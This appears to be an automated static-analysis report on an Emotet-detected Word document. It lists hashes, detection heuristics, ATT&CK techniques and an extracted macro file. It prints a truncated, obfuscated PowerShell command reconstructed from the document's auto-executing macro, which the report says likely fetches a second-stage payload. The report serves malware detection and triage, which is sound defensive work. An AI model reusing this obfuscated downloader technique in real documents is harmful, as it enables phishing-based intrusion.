Emotet — Office (OLE) / .DOCX malware analysis

Static analysis result for SHA-256 6854581e81ae31b8…

MALICIOUS

Office (OLE) / .DOCX

167.5 KB Created: 2020-09-14 11:57:00 Authoring application: Microsoft Office Word
MD5: 1bb4c1057a47b4ed405369fd6355c245 SHA-1: 386ad534389c352188b25a82339175d399b0c35a SHA-256: 6854581e81ae31b87095df739754ed6a3a572cbce33781e25b646a150e39505c
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro, and uses CreateObject, indicating malicious intent. The ClamAV detection explicitly names Emotet. The VBA script attempts to construct and execute a PowerShell command, likely to download and run a secondary payload. The reconstructed PowerShell command is 'powershell -2vhaghsghfe JABRAF8AZgA3A2vhaghsghfHcAeQBzAD0AKA2vhaghsghfAoACcAUQBiACc2vhaghsghfAKwAnAG8AegAn2vhaghsghfACsAJwAzAHMAJ2vhaghsghfwApACsAJwB6AC2vhaghsghfcAKQA7AC4AKAA2vhaghsghf'.

Heuristics 6

  • ClamAV: Doc.Malware.Emotet-9762269-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9762269-0
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
8a39fc8d6eec119bccb9074c742cbab236c89f429d1a306c2818d1568d873603		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 25223 bytes

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